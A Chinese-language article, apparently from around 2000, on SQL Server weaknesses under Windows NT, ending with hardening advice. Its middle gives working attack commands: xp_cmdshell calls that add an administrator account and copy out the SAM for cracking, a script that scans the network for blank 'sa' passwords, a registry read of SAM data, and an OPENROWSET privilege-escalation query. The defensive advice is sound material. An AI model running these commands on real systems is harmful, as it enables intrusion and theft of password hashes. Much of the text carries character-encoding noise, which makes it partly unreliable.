目前關(guān)于NT服務(wù)器的入侵,有很多種方法,如對(duì)IIS的漏洞進(jìn)行利用,但大家不知道注意到?jīng)]有,其實(shí)通過(guò)與NT服務(wù)器相關(guān)聯(lián)的SQL數(shù)據(jù)庫(kù)服務(wù)器的例子也是很有比例的一種手段。Herbless入侵破壞的一些站點(diǎn),如legoland.co.uk站點(diǎn)就是通過(guò)SQL服務(wù)器的入侵而獲得對(duì)系統(tǒng)的控制權(quán)而破壞的。所以對(duì)SQL服務(wù)器的保護(hù)是必不可少的,這里我整理了一些漏洞供大家來(lái)參考。
我們先來(lái)看看SQL服務(wù)程序支持的網(wǎng)絡(luò)協(xié)議庫(kù):
| SQL Server Network Protocol Libraries |
|Protocol library| 可能存在的漏洞 | 是否加密 |
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138)來(lái)進(jìn)行通信,這些可以被通 | |
| | 的防火墻控制,但如果內(nèi)部網(wǎng)絡(luò)可| |
| | 隨意訪問(wèn)的話也是一個(gè)不小的缺陷| |
| | --用戶名字,密碼和數(shù)據(jù)沒(méi)有進(jìn)行加| |
| | 傳輸,任何人可以通過(guò)SNIFFER來(lái) | |
| | 進(jìn)行數(shù)據(jù)捕獲。 | |
|IP Sockets | --默認(rèn)狀態(tài)下開1433口,你可以使用| 否 |
| | 掃描器來(lái)查看這個(gè)端口。 | |
| | 可以被SNIFFER截獲數(shù)據(jù)。 | |
|Multi-Protocol | --客戶端需要支持NT RPCs;在不同 | 是 |
| | 種類的環(huán)境中可能引起問(wèn)題。 | |
| | --默認(rèn)情況下使用TCP隨機(jī)端口,但| |
| | 防火墻進(jìn)行端口圖固定實(shí)現(xiàn)(參 | |
| | 看KB Q164667)。 | |
| | --需要注意加密選項(xiàng)是否選擇,默 | |
| | 是不選擇此選項(xiàng)的。 | |
|NWLink | --存在被SNIFFER截獲數(shù)據(jù)的危險(xiǎn) | 否 |
|AppleTalk (ADSP)| --存在被SNIFFER截獲數(shù)據(jù)的危險(xiǎn) | 否 |
|Banyan Vines | --存在被SNIFFER截獲數(shù)據(jù)的危險(xiǎn) | 否 |
一般的推薦使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者M(jìn)ulti-protocol,那你就使用這些協(xié)議庫(kù),如果可能,盡量使用Multi-protocol和使能加密選項(xiàng)。如果你上面幾個(gè)不能使用,那就使用IP Sockets協(xié)議,并改變其默認(rèn)的端口并隨時(shí)檢查系統(tǒng)保證無(wú)任何SNIFFER存在。并且,考慮使用一WEB服務(wù)或者COM組件作為應(yīng)用程序的business object layer,并在中間層和SQL服務(wù)程序中使用安全通道(secure channel)。有不少第三方的產(chǎn)品可以加密這方面的通信。
下面再講一下SQL SERVER的各種安全模式和它們?cè)鯓舆M(jìn)行工作?
安全模式定義了一些SQL SERVER是怎樣認(rèn)證要使用它們服務(wù)的用戶,請(qǐng)看下面SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區(qū)別:
|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |
|Standard | --登陸定義在SQL SERVER里| --單獨(dú)的標(biāo)準(zhǔn)模式在SQL SERVER|
|標(biāo)準(zhǔn)模式 | 而且給定密碼。 | 沒(méi)有使用了。 |
| | --SQL SERVER的登錄帳戶與| |
| | WINDOW NT分開 | |
|Integrated |-使用安全管理器SQL的帳 | --在這里成為"Windows NT only"|
|綜合模式 | 戶。 | 模式。 |
| |-用戶在連接到SQL SERVER| --只工作在NT系統(tǒng)下,在WIN9X不|
| | 不需要特定分開LOGIN和 | 支持。 |
| | 密碼。 | |
| |-密碼從不存儲(chǔ)在應(yīng)用程序| --可以直接結(jié)合到NT的組中便于 |
| | 中,并不以明文在網(wǎng)絡(luò)中| 管理,(注意有一BUILTIN組在|
| | 傳輸。 | 本地系統(tǒng)上產(chǎn)生). |
| |-SQL SERVER可以使用NT的| |
| | 的認(rèn)證方式來(lái)認(rèn)證用戶并| |
| | 可以使用如帳戶過(guò)期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol庫(kù)。 | |
|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |
登錄只不過(guò)是第一步,一旦用戶登錄,用戶必須訪問(wèn)獨(dú)立的數(shù)據(jù)庫(kù),要使上面的成立,就必須在sysusers表里存在一表目給用戶用的每個(gè)數(shù)據(jù)庫(kù)。所以安全請(qǐng)你注意在你的數(shù)據(jù)庫(kù)中是否存在"guest"帳戶和保證不會(huì)在你不注意的時(shí)候給某些人訪問(wèn)你的數(shù)據(jù)庫(kù)。
詳細(xì)的大家可以參看微軟的站點(diǎn):
http://www.microsoft.com/technet/SQL/Technote/secure.asp
關(guān)于SQL SERVER存在的一些安全問(wèn)題:
存在"sa"帳戶,密碼就為空,而且這個(gè)密碼是SQL SERVER安全模塊成員,我們就可以通過(guò)xp_cmdshell stored procedure(擴(kuò)展存儲(chǔ)過(guò)程)來(lái)進(jìn)行命令操作,如:
Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"
這樣攻擊者就成功的在SQL SERVER上增加了一個(gè)用戶。
當(dāng)然遠(yuǎn)程的話,一般需要有1433口開著,通過(guò)MYSQL 客戶端進(jìn)行連接。
當(dāng)然你也可以使用:
Xp_cmdshell "rdisk /s-"
的方法,這樣就在winntrepair目錄里重建了信息而不提示用戶。然后在SAM備份以后,攻擊者可以建立一個(gè)SMB連接到共享或者建立一個(gè)連接:
Xp_cmdshell "net share getsam=c:winntrepair"
利用共享獲得這個(gè)文件,然后在使用l0phtcrack來(lái)跑吧。如果SMB端口被防火墻控制了,或者關(guān)閉了,攻擊者也可以拷貝sam._文件到WEB目錄進(jìn)行匿名瀏覽器下載。如果人家沒(méi)有開IIS,你何不用tftp呢:).
OK,通過(guò)這臺(tái)被控制的SQL SERVER服務(wù)器,攻擊者可以通過(guò)它來(lái)查找網(wǎng)絡(luò)內(nèi)部其他機(jī)器來(lái)擴(kuò)大戰(zhàn)果,下面是一個(gè)SQL腳本來(lái)列舉網(wǎng)絡(luò)中其他SQL SERVER存在空帳戶'sa'的示例:
Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
Loop through potential targets and check for null sa accounts
If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell 'osql -S' + @current_server + ' -Usa -P -Q "select @@version"''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
當(dāng)然有些人也可能關(guān)閉xp_cmdshell extended stored procedure(擴(kuò)展存儲(chǔ)過(guò)程),我們也可以使用下面的方法:
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'
如果MSSqlserver 服務(wù)在本地系統(tǒng)帳戶下運(yùn)行,并且如果系統(tǒng)上沒(méi)有安裝syskey,上面的調(diào)用就可以返回注冊(cè)表中加密的密碼或者SID。
另一個(gè)漏洞,是關(guān)于adhoc heterogenous queries 來(lái)進(jìn)行權(quán)利的提升,請(qǐng)看下面微軟的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
關(guān)于上面的漏洞,可以使用下面的xploit來(lái)獲得權(quán)利的提升:
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:"')
這是大家比較喜歡的一種可以執(zhí)行其他命令,自己想吧。
還有就是最近的一個(gè)漏洞:Extended Stored Procedure Parameter Parsing (擴(kuò)展存儲(chǔ)過(guò)程參數(shù)解析)的漏洞,詳細(xì)信息在這個(gè)URL有介紹:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要問(wèn)題是在MSD中提供一個(gè)API函數(shù)srv_paraminfo(),它是用來(lái)擴(kuò)展存儲(chǔ)過(guò)程調(diào)用時(shí)解釋深入?yún)?shù)的,如:
exec <存儲(chǔ)過(guò)程名> <參數(shù)1>, <參數(shù)2>, ...
如要查詢“c:winnt”的目錄樹,可以如下表達(dá):
exec xp_dirtree 'c:winnt'
但沒(méi)有檢查各個(gè)參數(shù)的長(zhǎng)度,傳遞相當(dāng)長(zhǎng)的字符串,就存在了覆蓋其他堆棧參數(shù)的可能導(dǎo)致緩沖溢出。
目前已經(jīng)知道的過(guò)程如下:
目前已知受影響的擴(kuò)展存儲(chǔ)過(guò)程如下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
給第一個(gè)參數(shù)傳遞超長(zhǎng)的字符串會(huì)覆蓋異常處理程序所保存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
該存儲(chǔ)過(guò)程使用4個(gè)參數(shù)。給第二個(gè)參數(shù)傳遞超長(zhǎng)的字符串會(huì)覆蓋異常處理程序所保存的返回地址。
3、xp_SetSQLSecurity (xpstar.dll)
該存儲(chǔ)過(guò)程使用4個(gè)參數(shù)。給第三個(gè)參數(shù)傳遞超長(zhǎng)的字符串會(huì)使整個(gè)SQL Server進(jìn)程立即終止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
給第一個(gè)參數(shù)傳遞超長(zhǎng)的串將導(dǎo)致非法操作并覆蓋異常處理程序所保存的返回地址。
這里告訴大家一個(gè)技巧性的東西,如果想要知道這些擴(kuò)展存儲(chǔ)過(guò)程調(diào)用了那寫dll文件,你可以如下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
這樣你就可以獲得調(diào)用這個(gè)擴(kuò)展存儲(chǔ)過(guò)程的DLL了,如果微軟沒(méi)有出補(bǔ)丁的話,你就暫時(shí)把這個(gè)DLL文件改名吧,當(dāng)然有些DLL文件調(diào)用幾個(gè)擴(kuò)展存儲(chǔ)過(guò)程,不能盲目更改,否則導(dǎo)致其他的也不能使用,你需要使用下面的操作來(lái)知道DLL調(diào)用那些擴(kuò)展存儲(chǔ)過(guò)程:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
幸好微軟出了補(bǔ)丁,你可以到下面的地方找到,不用一個(gè)一個(gè)找DLL程序了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
這個(gè)漏洞@stake發(fā)現(xiàn)并提供演示的測(cè)試代碼,大家可在這里找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
OK,當(dāng)然SQL SERVER也有一些其他漏洞,相對(duì)輕微些,如ISS發(fā)現(xiàn)的管理員LOGIN ID存儲(chǔ)在注冊(cè)表中,其加密的方法比較簡(jiǎn)單,很容易獲得,詳細(xì)情況請(qǐng)看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他地方找找。
一些對(duì)SQL SERVER系統(tǒng)的安全建議:
保證打上最新的安全補(bǔ)丁,如下:
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
當(dāng)然大家要密切注意微軟的安全公告。
不要在IP sockets使用端口1433,如果你使用Multi-protocol也請(qǐng)修改端口。
不要把'sa'密碼嵌入到任意應(yīng)用程序如VB/DELPHI apps里,或者一global.asa文件里,因?yàn)?quot;sa"是SQL Server 的一個(gè)默認(rèn)密碼,其權(quán)限類似與WINDOWS NT系統(tǒng)里的管理員帳戶,而且密碼為空。
改變'sa'和'probe'帳戶的密碼。
保證SQL SERVER的錯(cuò)誤記錄在NTFS系統(tǒng)上。
如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )就不要把xp_cmdshell extended stored proc(擴(kuò)展存儲(chǔ)過(guò)程) 留在服務(wù)器上。在任何isql窗口中輸入:
use master
sp_dropextendedproc 'xp_cmdshell'
丟棄不需要OLE自動(dòng)存儲(chǔ)過(guò)程,當(dāng)然Enterprise Manager中的某些特征也會(huì)不能使用,這些過(guò)程包括如下:
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
去掉不需要的注冊(cè)表訪問(wèn)過(guò)程,如下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
去掉其他系統(tǒng)存儲(chǔ)過(guò)程,如果你認(rèn)為你覺(jué)得你還有威脅,當(dāng)然要小心Drop這些過(guò)程,你可以在測(cè)試機(jī)器上測(cè)試,保證你正常的
系統(tǒng)能完成工作,這些過(guò)程包括:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
去掉數(shù)據(jù)庫(kù)中g(shù)uest用戶。
關(guān)閉SQL MAIL兼容能力,防止傳遞一些木馬病毒等。
設(shè)置一個(gè)任務(wù)處理來(lái)定時(shí)運(yùn)行下面的程序:
findstr /C:"Login Failed" mssql7log*.*'
再重定向到其他文件或者M(jìn)AIL到管理員信箱。
經(jīng)常檢查帶有空密碼的帳戶:
Use master
Select name,
Password
from syslogins
where password is null
order by name
檢查所有不需要'sa'權(quán)限的存儲(chǔ)過(guò)程和擴(kuò)展存儲(chǔ)過(guò)程訪問(wèn)權(quán)限:
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name
保證SQL SERVER的傳輸信息在隔離的網(wǎng)絡(luò)段中。